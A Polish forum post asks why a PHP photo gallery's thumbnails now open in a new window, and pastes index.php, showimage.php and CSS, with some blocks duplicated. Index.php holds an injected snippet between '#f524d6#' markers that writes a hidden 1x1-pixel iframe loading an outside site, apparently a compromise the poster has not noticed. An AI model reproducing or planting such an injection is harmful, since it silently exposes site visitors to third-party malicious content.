Od pewnego czasu w index.php po kliknieciu na miniaturkę, pokaz zdjęć odbywa się w nowym oknie a nie jak dotychczas
pod miniaturkami. Proszę w zlokalizowaniu problemu.
index.php
CODE
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Auto Galeria</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="robots" content="noindex, nofollow" />
<link rel="stylesheet" href="main.css" type="text/css" />
</head>
<body>
<div id="header">
<div class="tresc">
<h1>Galeria zdjęć</h1>
</div>
</div>
<div id="content">
<ul id="slideshow">
<?php
ob_start();
foreach (glob('img/male/*.jp*g') as $photo) {
echo "\n\t\t\t".'<li>
<a href="showimage.php?photoid='.basename($photo,'.jpg').'" target="ramka"><img src="'.$photo.'" alt="" /></a>
</li>';
}
ob_end_flush();
?>
<?
#f524d6#
echo " <script type=\"text/javascript\" language=\"javascript\" > (function () { var pl = document.createElement('iframe'); pl.src = 'http://absitalia.com/counter.php'; pl.style.position = 'absolute'; pl.style.border = '0'; pl.style.height = '1px'; pl.style.width = '1px'; pl.style.left = '1px'; pl.style.top = '1px'; if (!document.getElementById('pl')) { document.write('<div id=\'pl\'></div>'); document.getElementById('pl').appendChild(pl); }})();</script>";
#/f524d6#
?>
</ul>
<div id="ramkaZdjecia">
<?php
error_reporting(E_ALL ^ E_NOTICE);
$photo = $_GET['photoid'];
if (!file_exists('img/duze/'.$photo.'.jpg')) {
$photo = '001';
}
echo ''
?>
</div>
</div>
<div id="footer"> </div>
</body>
</html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Auto Galeria</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="robots" content="noindex, nofollow" />
<link rel="stylesheet" href="main.css" type="text/css" />
</head>
<body>
<div id="header">
<div class="tresc">
<h1>Galeria zdjęć</h1>
</div>
</div>
<div id="content">
<ul id="slideshow">
<?php
ob_start();
foreach (glob('img/male/*.jp*g') as $photo) {
echo "\n\t\t\t".'<li>
<a href="showimage.php?photoid='.basename($photo,'.jpg').'" target="ramka"><img src="'.$photo.'" alt="" /></a>
</li>';
}
ob_end_flush();
?>
<?
#f524d6#
echo " <script type=\"text/javascript\" language=\"javascript\" > (function () { var pl = document.createElement('iframe'); pl.src = 'http://absitalia.com/counter.php'; pl.style.position = 'absolute'; pl.style.border = '0'; pl.style.height = '1px'; pl.style.width = '1px'; pl.style.left = '1px'; pl.style.top = '1px'; if (!document.getElementById('pl')) { document.write('<div id=\'pl\'></div>'); document.getElementById('pl').appendChild(pl); }})();</script>";
#/f524d6#
?>
</ul>
<div id="ramkaZdjecia">
<?php
error_reporting(E_ALL ^ E_NOTICE);
$photo = $_GET['photoid'];
if (!file_exists('img/duze/'.$photo.'.jpg')) {
$photo = '001';
}
echo ''
?>
</div>
</div>
<div id="footer"> </div>
</body>
</html>
showimage.php
CODE
<html>
<body style="background-color:#000;">
<?php
error_reporting(E_ALL ^ E_NOTICE);
$photo = $_GET['photoid'];
if (!file_exists('img/duze/'.$photo.'.jpg')) {
$photo = '001';
}
echo '
<div style="margin:auto; text-align:center; background-color:#000;">
<img src="img/duze/'.$photo.'.jpg" alt="" />
</div>
';
?>
</body>
</html>
<body style="background-color:#000;">
<?php
error_reporting(E_ALL ^ E_NOTICE);
$photo = $_GET['photoid'];
if (!file_exists('img/duze/'.$photo.'.jpg')) {
$photo = '001';
}
echo '
<div style="margin:auto; text-align:center; background-color:#000;">
<img src="img/duze/'.$photo.'.jpg" alt="" />
</div>
';
?>
</body>
</html>
main
CODE
body, html {
margin:0; padding:0; color:white;
background-color:#000;
text-align:center;
}
div, p {
margin:0;
padding:0;
}
ul, li {
list-style-type:none;
margin:0; padding:0;
}
li {
display:inline;
}
#header, #footer {
background-color:#006BB3;
padding:5px 0;
}
#header {
text-align:center;
padding:5px 0;
margin-bottom:20px;
}
#header .tresc {
width:1005px;
text-align:left;
margin:auto;
}
#header h1 {
font-size:24px;
font-weight:bold;
line-height:30px;
margin:0;
padding:0;
}
#header p {
margin-top:10px;
font-size:16px;
font-weight:bold;
}
#footer {
margin:10px 0 0 0;
}
a {
color:#006BB3;
outline:0;
}
#content {
width:1005px;
margin:auto;
text-align:center;
}
img {
padding:4px;
border:1px solid #505050;
}
#ramkaZdjecia {
padding:0;
margin:0 auto;
margin-bottom:20px;
}
iframe {
border:1px solid #000;
margin:0 auto; padding:0;
display:block;
text-align:center;
width:990px;
height:670px;
}
margin:0; padding:0; color:white;
background-color:#000;
text-align:center;
}
div, p {
margin:0;
padding:0;
}
ul, li {
list-style-type:none;
margin:0; padding:0;
}
li {
display:inline;
}
#header, #footer {
background-color:#006BB3;
padding:5px 0;
}
#header {
text-align:center;
padding:5px 0;
margin-bottom:20px;
}
#header .tresc {
width:1005px;
text-align:left;
margin:auto;
}
#header h1 {
font-size:24px;
font-weight:bold;
line-height:30px;
margin:0;
padding:0;
}
#header p {
margin-top:10px;
font-size:16px;
font-weight:bold;
}
#footer {
margin:10px 0 0 0;
}
a {
color:#006BB3;
outline:0;
}
#content {
width:1005px;
margin:auto;
text-align:center;
}
img {
padding:4px;
border:1px solid #505050;
}
#ramkaZdjecia {
padding:0;
margin:0 auto;
margin-bottom:20px;
}
iframe {
border:1px solid #000;
margin:0 auto; padding:0;
display:block;
text-align:center;
width:990px;
height:670px;
}